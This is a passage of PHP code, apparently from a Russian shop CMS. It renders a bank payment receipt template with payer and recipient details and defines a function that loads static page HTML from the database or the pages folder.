echo $bik; ?> </dd> </dl> <div class="clear"></div> <dl class="ncsp"> <dt>Номер кор./сч банка получателя платежа</dt> <dd><?php echo $ncsp; ?> </dd> </dl> <div class="clear"></div> <dl class="appointment"> <dt><?php echo $appointment; ?> </dt> <dd>(наименование платежа)</dd> </dl> <dl class="nls"> <dt><?php echo $nls; ?> </dt> <dd>(номер лицевого счета (код) плательщика)</dd> </dl> <dl class="payer"> <dt>Ф.И.О. плательщика:</dt> <dd><?php echo $payer; ?> </dd> </dl> <div class="clear"></div> <dl class="addrPayer"> <dt>Адрес плательщика:</dt> <dd><?php echo $addrPayer; ?> </dd> </dl> <div class="clear"></div> <?php echo $currency = MG::getSetting('currency'); ?> <div class="sRub"> <p>Сумма платежа: <?php echo $sRub; ?> <?php echo $currency; ?> <?php echo $sKop; ?> коп.</p> </div> <div class="sKop"> <p>Сумма платы за услуги <?php echo $uRub; ?> <?php echo $currency; ?> <?php echo $uKop; ?> коп.</p> </div> <div class="result"> <p>Итого: <?php echo $rub; ?> <?php echo $currency; ?> <?php echo $kop; ?> коп.</p> </div> <div class="date"><?php echo $day; ?> .<?php echo $month; ?> .<?php echo date('Y'); ?> г.</div> <div class="clear"></div> <p class="terms"> С условиями приема указанной в платежном документе суммы, в т.ч. с суммой взимаемой платы банка ознакомлен и согласен. </p> </div> <div class="clear"></div> <div id="bottom" style="border-top: 4px solid #000"> <div id="left02"> <p style="text-align: center; margin-top: 150%;"> <strong>Квитанция</strong><br> <strong>Кассир</strong> </p> </div> <div id="right02"> <dl> <dt><?php echo $name; ?> </dt> <dd>(наименование получателя)</dd> </dl> <dl class="inn"> <dt><?php echo $inn; ?> </dt> <dd>(ИНН получателя платежа)</dd> </dl> <dl class="nsp"> <dt><?php echo $nsp; ?> </dt> <dd>(номер счета получателя платежа)</dd> </dl> <dl class="bank"> <dt><?php echo $bank; ?> </dt> <dd>(наименование банка получателя)</dd> </dl> <dl class="bik"> <dt>БИК</dt> <dd><?php echo $bik; ?> </dd> </dl> <div class="clear"></div> <dl class="ncsp"> <dt>Номер кор./сч банка получателя платежа</dt> <dd><?php echo $ncsp; ?> </dd> </dl> <div class="clear"></div> <dl class="appointment"> <dt><?php echo $appointment; ?> </dt> <dd>(наименование платежа)</dd> </dl> <dl class="nls"> <dt><?php echo $nls; ?> </dt> <dd>(номер лицевого счета (код) плательщика)</dd> </dl> <dl class="payer"> <dt>Ф.И.О. плательщика:</dt> <dd><?php echo $payer; ?> </dd> </dl> <div class="clear"></div> <dl class="addrPayer"> <dt>Адрес плательщика:</dt> <dd><?php echo $addrPayer; ?> </dd> </dl> <div class="clear"></div> <div class="sRub"> <p>Сумма платежа: <?php echo $sRub; ?> <?php echo $currency; ?> <?php echo $sKop; ?> коп.</p> </div> <div class="sKop"> <p>Сумма платы за услуги <?php echo $uRub; ?> <?php echo $currency; ?> <?php echo $uKop; ?> коп.</p> </div> <div class="result"> <p>Итого: <?php echo $rub; ?> <?php echo $currency; ?> <?php echo $kop; ?> коп.</p> </div> <div class="date"><?php echo $day; ?> .<?php echo $month; ?> .<?php echo date('Y'); ?> г.</div> <div class="clear"></div> <p class="terms"> С условиями приема указанной в платежном документе суммы, в т.ч. с суммой взимаемой платы банка ознакомлен и согласен. </p> </div> </div> </div> </div> </div> </body> </html><?php if ($public) { exit; } $html = ob_get_contents(); ob_end_clean(); return $html; }
/** * Получает контент статической HTML страницы из БД. * @return string|boolean - возвращает либо HTML либо false. */ public static function getHtmlContent() { $result = false; $sections = URL::getSections(); $arrayStaticPage = self::get('staticPage'); $url = URL::parsePageUrl(); $url = $url ? $url : 'index'; $parentUrl = URL::parseParentUrl(); $parentUrl = $parentUrl != '/' ? $parentUrl : ''; foreach ($arrayStaticPage as $table => $content) { $res = DB::query(' SELECT * FROM `' . PREFIX . $table . '` WHERE (parent_url=' . DB::quote($parentUrl) . ' AND url=' . DB::quote($url . ".html") . ') OR (parent_url=' . DB::quote($parentUrl) . ' AND url=' . DB::quote($url) . ' ) '); if ($html = DB::fetchAssoc($res)) { $result = self::inlineEditor(PREFIX . $table, 'html_content', $html['id'], $html[$content]); self::titlePage($html['title']); self::seoMeta($html); } } //если HTML файл не найден в БД сайта, возможно такой файл есть в 'mg-pages/' if (!$result) { if (file_exists(PAGE_DIR . URL::getUri()) && !is_dir(PAGE_DIR . URL::getUri())) { MG::disableTemplate(); $result = file_get_contents(PAGE_DIR . URL::getUri()); } } if ($result) { MG::set('isStaticPage', true); } $args = func_get_args(); return self::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args); }